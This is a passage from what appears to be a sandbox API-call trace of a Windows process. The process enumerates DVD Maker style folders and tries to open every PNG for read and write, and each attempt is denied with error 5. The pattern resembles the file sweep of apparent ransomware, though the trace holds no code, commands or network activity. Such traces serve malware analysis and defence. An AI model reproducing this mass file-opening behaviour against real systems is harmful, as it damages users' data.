Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.563] GetLastError () returned 0x5 [0180.563] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.563] GetLastError () returned 0x5 [0180.563] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.563] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.564] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.564] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.564] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.564] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.564] GetLastError () returned 0x5 [0180.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.565] GetLastError () returned 0x5 [0180.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.565] GetLastError () returned 0x5 [0180.565] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.566] GetProcessHeap () returned 0x990000 [0180.566] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc78 | out: hHeap=0x990000) returned 1 [0180.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.568] GetProcessHeap () returned 0x990000 [0180.568] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.569] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.569] GetLastError () returned 0x5 [0180.569] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.570] GetLastError () returned 0x5 [0180.570] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.570] GetLastError () returned 0x5 [0180.570] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.570] GetLastError () returned 0x5 [0180.571] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.571] GetLastError () returned 0x5 [0180.571] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.572] GetLastError () returned 0x5 [0180.572] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.573] GetLastError () returned 0x5 [0180.573] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.574] GetLastError () returned 0x5 [0180.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.574] GetLastError () returned 0x5 [0180.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.575] GetLastError () returned 0x5 [0180.575] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.576] GetProcessHeap () returned 0x990000 [0180.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc90 | out: hHeap=0x990000) returned 1 [0180.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.581] GetProcessHeap () returned 0x990000 [0180.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.582] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.582] GetLastError () returned 0x5 [0180.582] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.583] GetLastError () returned 0x5 [0180.583] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.583] GetLastError () returned 0x5 [0180.583] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.583] GetLastError () returned 0x5 [0180.583] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.584] GetLastError () returned 0x5 [0180.584] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.584] GetLastError () returned 0x5 [0180.584] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.584] GetLastError () returned 0x5 [0180.584] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.585] GetLastError () returned 0x5 [0180.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.585] GetLastError () returned 0x5 [0180.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.585] GetLastError () returned 0x5 [0180.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.585] GetLastError () returned 0x5 [0180.585] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.586] GetLastError () returned 0x5 [0180.586] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.586] GetLastError () returned 0x5 [0180.586] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.586] GetLastError () returned 0x5 [0180.586] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.587] GetLastError () returned 0x5 [0180.587] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.587] GetLastError () returned 0x5 [0180.587] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.588] GetLastError () returned 0x5 [0180.588] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.589] GetProcessHeap () returned 0x990000 [0180.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0180.589] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.590] GetLastError () returned 0x5 [0180.590] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.591] GetLastError () returned 0x5 [0180.591] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.591] GetLastError () returned 0x5 [0180.591] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.591] GetLastError () returned 0x5 [0180.591] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.592] GetLastError () returned 0x5 [0180.592] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.592] GetLastError () returned 0x5 [0180.592] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.593] GetLastError () returned 0x5 [0180.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.595] GetProcessHeap () returned 0x990000 [0180.595] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.595] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.595] GetLastError () returned 0x5 [0180.595] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.595] GetLastError () returned 0x5 [0180.595] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.596] GetLastError () returned 0x5 [0180.596] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.597] GetLastError () returned 0x5 [0180.597] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.597] GetLastError () returned 0x5 [0180.597] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.597] GetLastError () returned 0x5 [0180.597] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.597] GetLastError () returned 0x5 [0180.598] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.598] GetLastError () returned 0x5 [0180.598] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.598] GetLastError () returned 0x5 [0180.598] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.598] GetLastError () returned 0x5 [0180.598] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.599] GetProcessHeap () returned 0x990000 [0180.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0180.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.602] GetProcessHeap () returned 0x990000 [0180.602] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.603] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: 